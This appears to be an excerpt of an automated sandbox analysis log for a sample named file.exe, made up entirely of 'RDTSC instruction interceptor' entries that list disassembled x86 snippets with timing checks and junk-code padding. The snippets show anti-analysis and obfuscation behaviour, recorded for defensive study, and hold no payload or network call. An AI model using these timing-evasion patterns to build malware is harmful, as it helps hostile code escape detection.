Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5C9B second address: AB5CA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5CA1 second address: AB5CAB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33B8517E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5CAB second address: AB5CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F33B8C7430Fh 0x0000000d pushad 0x0000000e jmp 00007F33B8C74301h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5CCC second address: AB5CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 clc 0x00000007 push 00000000h 0x00000009 sbb cl, 00000040h 0x0000000c push B919429Fh 0x00000011 jnc 00007F33B8517EB2h 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F33B8517E96h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5CEB second address: AB5D46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 46E6BDE1h 0x00000010 mov dword ptr [ebp+122D323Dh], esi 0x00000016 push 00000003h 0x00000018 xor edx, 6EBB74BBh 0x0000001e sub si, A257h 0x00000023 push 00000000h 0x00000025 or edi, dword ptr [ebp+122D2A62h] 0x0000002b push 00000003h 0x0000002d mov dword ptr [ebp+122D1D6Fh], eax 0x00000033 push 43EDAF25h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F33B8C74305h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6019 second address: AB6028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6028 second address: AB6047 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B8C742F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jmp 00007F33B8C742FDh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94C69 second address: A94C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F33B8517E96h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94C77 second address: A94C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C742FCh 0x00000009 ja 00007F33B8C742F6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94C90 second address: A94CB6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B8517EA3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F33B8517E96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5222 second address: AD5227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5227 second address: AD522D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD546D second address: AD5475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5475 second address: AD548A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F33B8517E9Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD55DB second address: AD55F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F33B8C742FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD55F0 second address: AD55F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD55F4 second address: AD55FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD55FC second address: AD5619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33B8517EA8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5619 second address: AD5644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jns 00007F33B8C742F6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F33B8C74308h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5644 second address: AD564E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33B8517E9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD57B3 second address: AD57B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5908 second address: AD5939 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F33B8517EA0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jmp 00007F33B8517EA4h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5D92 second address: AD5D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD603C second address: AD605D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517E9Ah 0x00000009 popad 0x0000000a jmp 00007F33B8517EA2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD605D second address: AD6062 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD62FA second address: AD62FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA59D4 second address: AA59DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA59DA second address: AA59FD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F33B8517EA3h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA59FD second address: AA5A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6B94 second address: AD6B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87C5 second address: AD87CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87CA second address: AD87F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33B8517E96h 0x0000000a jmp 00007F33B8517E9Ah 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jl 00007F33B8517EB5h 0x0000001e push eax 0x0000001f push edx 0x00000020 je 00007F33B8517E96h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87F5 second address: AD87F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB336 second address: ADB33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB6CF second address: ADB6EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A983A1 second address: A983B6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jbe 00007F33B8517E96h 0x00000011 pop edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A983B6 second address: A983CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F33B8C742F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e jbe 00007F33B8C74313h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A983CE second address: A983D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F099 second address: A9F0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C74302h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F0B1 second address: A9F0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33B8517E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE271C second address: AE2722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2722 second address: AE2749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F33B8517EA2h 0x00000010 jp 00007F33B8517E96h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2749 second address: AE2760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F33B8C742F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jng 00007F33B8C7430Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2760 second address: AE2787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517EA2h 0x00000009 pushad 0x0000000a jp 00007F33B8517E96h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 push edi 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2787 second address: AE27A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F33B8C742F6h 0x0000000d jmp 00007F33B8C74305h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2900 second address: AE2904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2904 second address: AE290E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B8C742F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2EC3 second address: AE2EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3011 second address: AE302A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C742FBh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b js 00007F33B8C742F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE302A second address: AE3047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007F33B8517E96h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F33B8517E9Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5A70 second address: AE5A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5A74 second address: AE5A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5A78 second address: AE5A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F33B8C742F8h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edx 0x00000012 pushad 0x00000013 jno 00007F33B8C742F6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop edx 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5A9E second address: AE5B17 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F33B8517EA1h 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F33B8517EA7h 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F33B8517E98h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 push 1EA4629Fh 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F33B8517EA8h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5B17 second address: AE5B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5C57 second address: AE5C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5EE0 second address: AE5EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6185 second address: AE618A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6671 second address: AE6688 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6688 second address: AE668E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE668E second address: AE6692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE66F7 second address: AE6707 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6707 second address: AE670D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6B6A second address: AE6B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6BED second address: AE6BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6BF1 second address: AE6C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F33B8517EA6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edi 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7263 second address: AE7268 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE72EC second address: AE72F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9CD1 second address: AE9D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74301h 0x00000007 pushad 0x00000008 jmp 00007F33B8C74308h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA2F0 second address: AEA2F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAD38 second address: AEAD4E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F33B8C742F6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F33B8C742F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB7DB second address: AEB811 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jbe 00007F33B8517E9Eh 0x00000012 jo 00007F33B8517E98h 0x00000018 pushad 0x00000019 popad 0x0000001a nop 0x0000001b add edi, 5C1648AFh 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 mov di, dx 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F33B8517E9Ah 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB811 second address: AEB83D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F33B8C74301h 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB5A0 second address: AEB5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDE8B second address: AEDEAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74303h 0x00000007 jnc 00007F33B8C742F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEC0F1 second address: AEC108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B8517EA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDEAC second address: AEDEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDEB0 second address: AEDEB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE4C5 second address: AEE518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33B8C74306h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F33B8C742F8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov esi, dword ptr [ebp+122D2842h] 0x0000002f push 00000000h 0x00000031 cld 0x00000032 push 00000000h 0x00000034 stc 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b pop eax 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE518 second address: AEE522 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99F02 second address: A99F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C74300h 0x00000009 jmp 00007F33B8C742FCh 0x0000000e popad 0x0000000f jl 00007F33B8C742FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2504 second address: AF252A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F33B8517EA3h 0x0000000c jmp 00007F33B8517E9Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4AC1 second address: AF4AC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4B4B second address: AF4B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33B8517EA9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4B6E second address: AF4B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F33B8C742F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C50 second address: AF5C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C54 second address: AF5C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C5A second address: AF5C86 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33B8517E9Ch 0x00000008 jl 00007F33B8517E96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F33B8517EA9h 0x00000018 rdtsc
